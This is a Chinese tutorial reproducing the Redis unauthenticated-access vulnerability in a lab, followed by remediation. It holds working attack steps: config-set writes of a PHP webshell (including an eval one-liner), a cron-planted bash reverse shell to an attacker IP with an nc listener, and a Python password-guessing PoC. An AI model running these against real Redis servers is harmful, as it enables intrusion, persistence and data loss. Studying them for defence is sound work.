Redis未授权访问漏洞复现与利用

漏洞简介

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

漏洞的产生条件有以下两点:

  • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞危害

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
  • 如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

漏洞环境搭建

靶机环境搭建

centos7搭建redis数据库服务
注意

  • 配置redis服务环境变量
cp -r /redis-4.0.6/src /usr/local/
//启动redis-server和redis-cli不用每次进入安装目录(类似配置环境变量)
  • 复制/redis-4.0.6/redis.conf到/etc/
  • 配置/etc/redis.conf
# bind 127.0.0.1
protected-mode no

攻击机环境搭建

攻击机环境搭建

redis常用命令

redis-cli -h host -p port -a password//登陆
ping //PONG返回响应是否连接成功
echo //在命令行打印一些内容
info //返回redis的相关信息
config get dir/* //实时传储收到的请求
flushall //删除所有数据库中的数据库

redis常用命令

漏洞复现

上传webshell

config set dir /var/www/html/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
//set webshell "<?php @eval($_POST['cmd']); ?>"//上传一句话php木马
save



nc反弹shell

  • 利用cron反弹shell
redis-cli -h 192.168.0.104
set xxx "

*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.130/6666 0>&1

"
config set dir /var/spool/cron
config set dbfilename root
save

  • 攻击机利用nc监听6666端口
nc -lvp 666

利用"公私钥"认证获取root权限

复现链接

POC

python2 redis未授权访问.py 192.168.2.147 6379

#coding=utf-8
#可用来测试是否存在未授权或弱口令的情况:
#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO
")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s
" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

漏洞修复

1、将redis.conf改成如下配置

bind 127.0.0.1
protected-mode yes


2、poc验证

python2 redis未授权访问.py 192.168.2.147 6379

参考链接

CSDN-Redis未授权访问漏洞复现
CSDN-Redis未授权访问漏洞利用总结
CSDN-Redis下载及安装(windows版)
CSDN-10.Redis未授权访问漏洞复现与利用
cnblogs-10.Redis未授权访问漏洞复现与利用

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

原文地址:https://www.cnblogs.com/renhaoblog/p/13024638.html